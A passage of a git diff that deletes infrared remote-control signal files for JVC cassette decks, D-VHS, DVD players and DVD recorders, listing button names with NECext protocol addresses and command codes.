-name: DECK2_REC -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 02 00 00 00 -# -name: DECK2_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: DECK2_FF_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: DECK2_REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: DUBBING/NORMAL -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 08 00 00 00 -# -name: DUBBING/HIGH -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 09 00 00 00 -# -name: DECK2_DIRECTION_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: DECK2_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: DECK2_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: DECK2_MUSIC_S._<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 18 00 00 00 -# -name: DECK2_MUSIC_S._>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 19 00 00 00 -# -name: DECK2_MUTE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 1C 00 00 00 -# -name: DECK_2 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 2D 00 00 00 -# -name: DECK1_REC -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 52 00 00 00 -# -name: DECK1_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 53 00 00 00 -# -name: DECK1_FF_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 56 00 00 00 -# -name: DECK1_REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 57 00 00 00 -# -name: DECK1_DIRECTION_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5B 00 00 00 -# -name: DECK1_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5C 00 00 00 -# -name: DECK1_PAUSE_ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5D 00 00 00 -# -name: DECK1_MUSIC_S._<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 68 00 00 00 -# -name: DECK1_MUSIC_S._>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 69 00 00 00 -# -name: DECK1_MUTE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 6C 00 00 00 -# -name: DECK_1 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir deleted file mode 100644 index d92507709..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: FF>>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: REW_<<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: REC_LINK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 30 00 00 00 -# -name: REC_SPEED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: HS/STD/LS/SP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 84 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: NAVI -type: parsed -protocol: NECext -address: 43 00 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir deleted file mode 100644 index bd9aa8d7b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir deleted file mode 100644 index c760b9d05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir +++ /dev/null @@ -1,812 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 40 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: STOP/CLEAR -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: STOP_/_CLEAR -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 44 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 49 00 00 00 -# -name: RETURN_LOOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 49 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: PLAY/SELECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: PLAY_/_SELECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4D 00 00 00 -# -name: PAUSE_/_STROBE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4D 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 54 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 5B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 60 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 61 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 62 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 63 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 64 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 65 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 66 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 69 00 00 00 -# -name: PLAY/PAUSE_> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6D 00 00 00 -# -name: 10_(0) -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6E 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6F 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6F 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SEARCH_<<_/_SLOW_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SEARCH_>>_/_SLOW_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 7F 00 00 00 -# -name: CHOICE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 7F 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 90 00 00 00 -# -name: JOG_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 92 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 98 00 00 00 -# -name: JOG_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 9A 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: AE 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: AF 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: NEXT_>> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: >>_NEXT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: PREVIOUS_<< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: <<_PREVIOUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B2 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B2 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B5 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B7 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B7 00 00 00 -# -name: DIGEST -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B9 00 00 00 -# -name: THUMBNAIL/LIST -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B9 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BB 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BC 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BD 00 00 00 -# -name: SOUND_EFFECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BD 00 00 00 -# -name: 3D_PHONIC -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BD 00 00 00 -# -name: VFP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: TH_POS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: VPF -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: VFP_I/P -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: VPF_PROGESS._SCAN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C0 00 00 00 -# -name: ON_SCREEN_DISPLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C0 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C8 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C8 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CB 00 00 00 -# -name: ANGLE_SIDE_EFFECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CB 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: SUB-TITLE_ON/OFF -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: SUB_TL -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: SUBTITLLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: UP_^ -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: CUSOR_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: DOWN_V -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: CUR_DWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: LEFT_< -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: CUR_LT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: RIGHT_> -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: CUR_RT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: ENTER/SELECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: CURSOR_-_SELECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D5 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D8 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: DA 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: DB 00 00 00 -# -name: TITLE/GROUP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: EE 00 00 00 -# -name: TITLE_/_GROUP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: EE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir deleted file mode 100644 index d17047265..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_-_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: POWER_-_6A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: STOP_-_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: STOP_-_6A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: OPEN/CLOSE_-_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: OPEN/CLOSE_-_6A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: PLAY_-_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1C 00 00 00 -# -name: PLAY_-_6A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir deleted file mode 100644 index 2adacd842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_/_CLEAR -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 03 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 06 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 0B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 0D 00 00 00 -# -name: JUMP_- -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 0E 00 00 00 -# -name: JUMP_+ -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 0F 00 00 00 -# -name: TV_/_AV_/_VIDEO -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 13 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 14 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 15 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 19 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 29 00 00 00 -# -name: SAT_TIMER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 30 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 32 00 00 00 -# -name: 0_/_AUX -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 33 00 00 00 -# -name: DUBBING -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 34 00 00 00 -# -name: VPS_/_PDC_TIMER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 35 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 36 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 38 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 3C 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 3E 00 00 00 -# -name: HDD -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 80 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 81 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 82 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 84 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 86 00 00 00 -# -name: OPEN_/_CLOSE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 87 00 00 00 -# -name: PROGRESSIVE_SCAN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 8E 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 8F 00 00 00 -# -name: MEMO_/_MARK -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 90 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 96 00 00 00 -# -name: ANGLE_/_LIVE_CHECK -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: C0 00 00 00 -# -name: PROGRAMME -type: parsed -protocol: NECext -address: 6F 00 